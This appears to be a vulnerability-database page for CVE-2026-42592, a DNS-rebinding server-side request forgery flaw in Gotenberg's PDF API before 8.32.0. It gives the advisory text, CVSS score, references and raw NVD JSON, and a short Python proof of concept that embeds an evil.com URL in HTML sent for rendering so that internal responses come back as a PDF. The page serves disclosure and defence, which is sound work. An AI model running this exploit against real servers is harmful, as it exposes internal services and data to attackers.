CVE-2026-42592

Description

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, FilterOutboundURL resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP Fetch.requestPaused handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium's actual TCP connect. The rendered internal service response returns to the caller as a PDF. This vulnerability is fixed in 8.32.0.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Gotenberg < 8.32.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC Concept for CVE-2026-42592 (Gotenberg DNS Rebinding)
# This script demonstrates the request flow. A custom DNS server is required to rotate IPs.

import requests

TARGET = 'http://localhost:3000/forms/chromium/convert/html'
# Domain controlled by attacker, configured with low TTL
# DNS server logic: 1st query -> 1.1.1.1 (Public), 2nd query -> 127.0.0.1 (Private)
MALICIOUS_URL = 'http://evil.com/internal-config'

def exploit():
    html_content = f"""
    <html>
        <body>
            <h1>Fetching Internal Data</h1>
            <img src="{MALICIOUS_URL}" />
        </body>
    </html>
    """
    
    files = {'html': ('index.html', html_content, 'text/html')}
    
    try:
        print(f"[*] Sending request to Gotenberg targeting {MALICIOUS_URL}")
        response = requests.post(TARGET, files=files)
        
        if response.status_code == 200:
            print("[+] Request successful. Check the PDF for internal data.")
            # Save the PDF
            with open('ssrf_result.pdf', 'wb') as f:
                f.write(response.content)
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42592
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42592
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42592/
[4] VulDB https://vuldb.com/cve/CVE-2026-42592
[5] https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2pmr-289p-44r3
[6] https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2pmr-289p-44r3

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42592", "sourceIdentifier": "[email protected]", "published": "2026-05-14T16:16:22.307", "lastModified": "2026-05-14T19:16:36.233", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, FilterOutboundURL resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP Fetch.requestPaused handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium's actual TCP connect. The rendered internal service response returns to the caller as a PDF. This vulnerability is fixed in 8.32.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}, {"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2pmr-289p-44r3", "source": "[email protected]"}, {"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2pmr-289p-44r3", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}